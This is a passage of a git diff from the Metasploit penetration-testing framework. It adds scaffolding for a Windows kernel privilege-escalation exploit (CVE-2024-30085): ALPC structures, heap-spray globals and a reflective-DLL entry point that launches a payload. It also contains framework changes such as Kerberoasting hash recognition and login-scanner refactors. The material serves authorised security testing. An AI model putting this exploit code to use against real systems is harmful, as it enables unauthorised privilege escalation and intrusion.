size; cld->Items[cld -> NumItems].Offset = offset; cld->NumItems++;} +/* + Structs +*/ + +typedef enum _KALPC_BLOB_TYPE { + AlpcMessageType = 0x200, + AlpcReserveType = 0x700 +} +KALPC_BLOB_TYPE; +typedef struct _PORT_MESSAGE { + union { + struct { + USHORT DataLength; + USHORT TotalLength; + } + s1; + ULONG Length; + } + u1; + union { + struct { + USHORT Type; + USHORT DataInfoOffset; + } + s2; + ULONG ZeroInit; + } + u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union { + SIZE_T ClientViewSize; + ULONG CallbackId; + }; +} +PORT_MESSAGE, * PPORT_MESSAGE; +typedef struct _KALPC_BLOB { + ULONGLONG Type; + LONGLONG Ref; + ULONGLONG Reserved1; + ULONGLONG Reserved2; + CHAR Data[]; +} +KALPC_BLOB, * PKALPC_BLOB; +typedef struct _KALPC_MESSAGE { + struct _LIST_ENTRY Entry; + struct _ALPC_PORT* PortQueue; + struct _ALPC_PORT* OwnerPort; + struct _ETHREAD* WaitingThread; + union { + struct { + ULONG QueueType : 3; + ULONG QueuePortType : 4; + ULONG Canceled : 1; + ULONG Ready : 1; + ULONG ReleaseMessage : 1; + ULONG SharedQuota : 1; + ULONG ReplyWaitReply : 1; + ULONG OwnerPortReference : 1; + ULONG ReceiverReference : 1; + ULONG ViewAttributeRetrieved : 1; + ULONG ViewAttributeDeleteOnRelease : 1; + ULONG InDispatch : 1; + ULONG InCanceledQueue : 1; + } + s1; + ULONG State; + } + u1; + LONG SequenceNo; + union { + struct _EPROCESS* QuotaProcess; + VOID* QuotaBlock; + }; + struct _ALPC_PORT* CancelSequencePort; + struct _ALPC_PORT* CancelQueuePort; + LONG CancelSequenceNo; + struct _LIST_ENTRY CancelListEntry; + struct _KALPC_RESERVE* Reserve; + BYTE MessageAttributesStub[0x48]; + VOID* DataUserVa; + struct _ALPC_COMMUNICATION_INFO* CommunicationInfo; + struct _ALPC_PORT* ConnectionPort; + struct _ETHREAD* ServerThread; + VOID* WakeReference; + VOID* WakeReference2; + VOID* ExtensionBuffer; + ULONGLONG ExtensionBufferSize; + struct _PORT_MESSAGE PortMessage; +} +KALPC_MESSAGE, * PKALPC_MESSAGE; +typedef struct _KALPC_RESERVE { + struct _ALPC_PORT* OwnerPort; + struct _ALPC_HANDLE_TABLE* HandleTable; + VOID* Handle; + struct _KALPC_MESSAGE* Message; + ULONGLONG Size; + LONG Active; +} +KALPC_RESERVE, * PKALPC_RESERVE; +typedef struct _ALPC_PORT_ATTRIBUTES { + unsigned long Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + unsigned __int64 MaxMessageLength; + unsigned __int64 MemoryBandwidth; + unsigned __int64 MaxPoolUsage; + unsigned __int64 MaxSectionSize; + unsigned __int64 MaxViewSize; + unsigned __int64 MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} +ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } + SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } + MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } + GenericReparseBuffer; + } + DUMMYUNIONNAME; +} +REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; +typedef struct { + WORD Tag; + WORD Size; + DWORD Offset; +} +REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM; +typedef struct { + DWORD Magic; + DWORD Crc32; + DWORD Size; + WORD Reserved; + WORD NumItems; + REPRASE_CLD_ITEM Items[]; +} +REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER; +/* + Globals +*/ +UINT g_portCount = SPRAY_COUNT; +PHANDLE g_ports; +PKALPC_RESERVE g_reserve; +PKALPC_MESSAGE g_message; + diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj new file mode 100755 index 0000000000000..01fb0257814de --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj @@ -0,0 +1,170 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {93e2da95-5c4f-4801-9156-e5ab3a944b10} + cve202430085dll + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + ..\..\..\..\..\..\data\exploits\CVE-2024-30085 + + + + Level3 + true + WIN32;_DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + + + MultiThreaded + Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + + + Windows + true + false + Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;%(AdditionalLibraryDirectories) + + + + + Level3 + true + true + true + WIN32;NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreaded + Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + + + Windows + true + true + true + false + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj.filters b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj.filters new file mode 100755 index 0000000000000..40838c4d53023 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-202430085-dll.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/dllmain.cpp b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/dllmain.cpp new file mode 100755 index 0000000000000..b785ec38084e7 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/dllmain.cpp @@ -0,0 +1,44 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +#include "ReflectiveLoader.c" +#include "common.h" + +#ifdef __cplusplus +extern "C" { +#endif + + int Exploit(PMSF_PAYLOAD lpReserved); + +#ifdef __cplusplus +} +#endif + +void main(PMSF_PAYLOAD lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(payload); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/vncdll/vncdll/LICENSE.txt b/external/source/vncdll/vncdll/LICENSE.txt deleted file mode 100644 index ba5797cfe9052..0000000000000 --- a/external/source/vncdll/vncdll/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (C) 2006-2010, Rapid7, Inc -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of Rapid7, Inc nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/vncdll/vncdll/context.h b/external/source/vncdll/vncdll/context.h index df5143138e2d2..3cdfe4893f447 100644 --- a/external/source/vncdll/vncdll/context.h +++ b/external/source/vncdll/vncdll/context.h @@ -1,30 +1,3 @@ -// Copyright (C) 2006-2010, Rapid7, Inc -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7, Inc nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _VNCDLL_LOADER_CONTEXT_H #define _VNCDLL_LOADER_CONTEXT_H diff --git a/external/source/vncdll/vncdll/inject.h b/external/source/vncdll/vncdll/inject.h index d7e7fffda176d..40e0283a387e5 100644 --- a/external/source/vncdll/vncdll/inject.h +++ b/external/source/vncdll/vncdll/inject.h @@ -1,30 +1,3 @@ -// Copyright (C) 2006-2010, Rapid7, Inc -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7, Inc nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _VNCDLL_LOADER_INJECT_H #define _VNCDLL_LOADER_INJECT_H diff --git a/external/source/vncdll/vncdll/loader.h b/external/source/vncdll/vncdll/loader.h index 3671c1ddcfa76..c36ba29753dc9 100644 --- a/external/source/vncdll/vncdll/loader.h +++ b/external/source/vncdll/vncdll/loader.h @@ -1,30 +1,3 @@ -// Copyright (C) 2006-2010, Rapid7, Inc -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7, Inc nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _VNCDLL_LOADER_LOADER_H #define _VNCDLL_LOADER_LOADER_H diff --git a/external/source/vncdll/vncdll/ps.h b/external/source/vncdll/vncdll/ps.h index be2c7733d9659..1f9b73c06c8a4 100644 --- a/external/source/vncdll/vncdll/ps.h +++ b/external/source/vncdll/vncdll/ps.h @@ -1,30 +1,3 @@ -// Copyright (C) 2006-2010, Rapid7, Inc -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7, Inc nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _VNCDLL_LOADER_PS_H #define _VNCDLL_LOADER_PS_H diff --git a/external/source/vncdll/vncdll/session.h b/external/source/vncdll/vncdll/session.h index 67f89f3713da3..f3bf413aa8f2c 100644 --- a/external/source/vncdll/vncdll/session.h +++ b/external/source/vncdll/vncdll/session.h @@ -1,30 +1,3 @@ -// Copyright (C) 2006-2010, Rapid7, Inc -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7, Inc nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _VNCDLL_LOADER_SESSION_H #define _VNCDLL_LOADER_SESSION_H diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index a00e9133473a3..0284b07a88332 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -191,13 +191,15 @@ def connection(url) url.scheme == "https", @opts[:ssl_version], @opts[:proxies], - @opts[:username], - @opts[:password] + @opts[:username], + @opts[:password], + subscriber: @opts[:http_subscriber] ) conn.set_config( 'vhost' => virtual_host(url), 'agent' => user_agent, + 'ssl_server_name_indication' => @opts[:ssl_server_name_indication], 'domain' => @opts[:domain] ) diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb index 6198dbc176bb2..41d56f69f75c6 100644 --- a/lib/metasploit/framework/common_engine.rb +++ b/lib/metasploit/framework/common_engine.rb @@ -40,10 +40,6 @@ module Metasploit::Framework::CommonEngine config.active_support.deprecation = :stderr - if ActiveRecord.respond_to?(:legacy_connection_handling=) - ActiveRecord.legacy_connection_handling = false - end - # @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/yaml.rb#L10 # @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/base64_serializer.rb#L28-L31 ActiveRecord.yaml_column_permitted_classes = (ActiveRecord.yaml_column_permitted_classes + MetasploitDataModels::YAML::PERMITTED_CLASSES).uniq diff --git a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb index 27fe49a05d72c..74355a81e39eb 100644 --- a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb @@ -13,7 +13,7 @@ def sessions(opts={}) def report_session(opts) begin self.data_service_operation do |data_service| - add_opts_workspace(opts) + add_opts_workspace(opts, opts.fetch(:workspace, opts[:session]&.workspace)) data_service.report_session(opts) end rescue => e diff --git a/lib/metasploit/framework/hashes.rb b/lib/metasploit/framework/hashes.rb index ede20d1f56248..bb92d28a2c437 100644 --- a/lib/metasploit/framework/hashes.rb +++ b/lib/metasploit/framework/hashes.rb @@ -128,6 +128,14 @@ def self.identify_hash(hash) return 'pbkdf2-sha256' when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/ return 'timeroast' + when hash =~ /^\$krb5tgs\$23\$\*.+\$[\da-fA-F]{32}\$[\da-fA-F]+$/ + return 'krb5tgs-rc4' + when hash =~ /^\$krb5tgs\$18\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/ + return 'krb5tgs-aes256' + when hash =~ /^\$krb5tgs\$17\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/ + return 'krb5tgs-aes128' + when hash =~ /^\$krb5asrep\$23\$[^:]+:[\da-fA-F]{32}\$[\da-fA-F]+$/ + return 'krb5asrep-rc4' end '' end diff --git a/lib/metasploit/framework/ldap/client.rb b/lib/metasploit/framework/ldap/client.rb index 1c1c038c0d945..63a8ed3296de1 100644 --- a/lib/metasploit/framework/ldap/client.rb +++ b/lib/metasploit/framework/ldap/client.rb @@ -50,6 +50,7 @@ def ldap_auth_opts_kerberos(opts, ssl) auth_opts = {} raise Msf::ValidationError, 'The LDAP::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank? raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank? + raise Msf::ValidationError, 'The DomainControllerRhost is required when using Kerberos authentication.' if opts[:domain_controller_rhost].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types]) raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty? @@ -112,17 +113,35 @@ def ldap_auth_opts_schannel(opts, ssl) auth_opts = {} pfx_path = opts[:ldap_cert_file] raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl - raise Msf::ValidationError, 'The LDAP::CertFile option is required when using Schannel authentication.' if pfx_path.blank? raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false) - unless ::File.file?(pfx_path) && ::File.readable?(pfx_path) - raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.' - end + if pfx_path.present? + unless ::File.file?(pfx_path) && ::File.readable?(pfx_path) + raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.' + end + + begin + pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '') + rescue StandardError => e + raise Msf::ValidationError, "Failed to load the PFX file (#{e})" + end + else + pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new( + framework: opts[:framework], + framework_module: opts[:framework_module] + ) + pkcs12_results = pkcs12_storage.pkcs12( + username: opts[:username], + realm: opts[:domain], + tls_auth: true, + status: 'active' + ) + if pkcs12_results.empty? + raise Msf::ValidationError, "Pkcs12 for #{opts[:username]}@#{opts[:domain]} not found in the database" + end - begin - pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '') - rescue StandardError => e - raise Msf::ValidationError, "Failed to load the PFX file (#{e})" + elog("Using stored certificate for #{opts[:username]}@#{opts[:domain]}") + pkcs = pkcs12_results.first.openssl_pkcs12 end auth_opts[:auth] = { diff --git a/lib/metasploit/framework/login_scanner.rb b/lib/metasploit/framework/login_scanner.rb index 1730977b7a9ba..f33ac532a4a96 100644 --- a/lib/metasploit/framework/login_scanner.rb +++ b/lib/metasploit/framework/login_scanner.rb @@ -19,15 +19,7 @@ module LoginScanner # classes that will probably give useful results when run # against `service`. def self.classes_for_service(service) - - unless @required - # Make sure we've required all the scanner classes - dir = File.expand_path("../login_scanner/", __FILE__) - Dir.glob(File.join(dir, "*.rb")).each do |f| - require f if File.file?(f) - end - @required = true - end + require_login_scanners self.constants.map{|sym| const_get(sym)}.select do |const| next unless const.kind_of?(Class) @@ -42,6 +34,52 @@ def self.classes_for_service(service) end end + # Gather a list of LoginScanner classes that can potentially be + # used against an HTTP service + # + # @return [Array] A collection of LoginScanner + # classes that will probably give useful results when run + # against an HTTP service + def self.all_http_classes + require_login_scanners + + http_base_class = Metasploit::Framework::LoginScanner::HTTP + Metasploit::Framework::LoginScanner.constants.sort.filter_map do |sym| + const = Metasploit::Framework::LoginScanner.const_get(sym) + next unless const.kind_of?(Class) && const.ancestors.include?(http_base_class) && const != http_base_class + + const + end + end + + def self.all_service_names + require_login_scanners + + service_names = Set.new + self.constants.map{|sym| const_get(sym)}.select do |const| + next unless const.kind_of?(Class) + next unless const.const_defined?(:LIKELY_SERVICE_NAMES) + + const.const_get(:LIKELY_SERVICE_NAMES).each do |service_name| + service_names << service_name + end + end + + service_names + end + + private + + def self.require_login_scanners + unless @required + # Make sure we've required all the scanner classes + dir = File.expand_path("../login_scanner/", __FILE__) + Dir.glob(File.join(dir, "*.rb")).each do |f| + require f if File.file?(f) + end + @required = true + end + end end end end diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 6d0e5e9c8576e..5e42052d6ccf3 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -45,6 +45,9 @@ module Base # @!attribute bruteforce_speed # @return [Integer] The desired speed, with 5 being 'fast' and 0 being 'slow.' attr_accessor :bruteforce_speed + # @!attribute sslkeylogfile + # @return [String] The SSL key log file path + attr_accessor :sslkeylogfile validates :connection_timeout, presence: true, diff --git a/lib/metasploit/framework/login_scanner/ivanti_login.rb b/lib/metasploit/framework/login_scanner/ivanti_login.rb index 8a172b94064a9..cec57aff33318 100644 --- a/lib/metasploit/framework/login_scanner/ivanti_login.rb +++ b/lib/metasploit/framework/login_scanner/ivanti_login.rb @@ -9,17 +9,14 @@ module LoginScanner class Ivanti < HTTP DEFAULT_SSL_PORT = 443 - LIKELY_PORTS = [443] - LIKELY_SERVICE_NAMES = [ + LIKELY_PORTS = self.superclass::LIKELY_PORTS + [443] + LIKELY_SERVICE_NAMES = self.superclass::LIKELY_SERVICE_NAMES + [ 'Ivanti Connect Secure' ] PRIVATE_TYPES = [:password] REALM_KEY = nil - def initialize(scanner_config, admin) - @admin = admin - super(scanner_config) - end + attr_accessor :use_admin_endpoint def check_setup request_params = { @@ -138,7 +135,7 @@ def do_logout(cookies) def do_login(username, password) protocol = ssl ? 'https' : 'http' - peer = "#{host}:#{port}" + peer = Rex::Socket.to_authority(host, port) user_req = create_user_request(username, password, protocol, peer) begin res = send_request(user_req) @@ -178,7 +175,7 @@ def attempt_login(credential) service_name: 'ivanti' } - if @admin + if @use_admin_endpoint login_result = do_admin_login(credential.public, credential.private) else login_result = do_login(credential.public, credential.private) diff --git a/lib/metasploit/framework/login_scanner/kerberos.rb b/lib/metasploit/framework/login_scanner/kerberos.rb index ac58bc166b8ae..e422c132b8318 100644 --- a/lib/metasploit/framework/login_scanner/kerberos.rb +++ b/lib/metasploit/framework/login_scanner/kerberos.rb @@ -87,8 +87,11 @@ def self.login_status_for_kerberos_error(krb_err) # It doesn't appear to be documented anywhere, but Microsoft gives us a bit # of extra information in the e-data section begin - pa_data_entry = krb_err.res.e_data_as_pa_data_entry - if pa_data_entry && pa_data_entry.type == 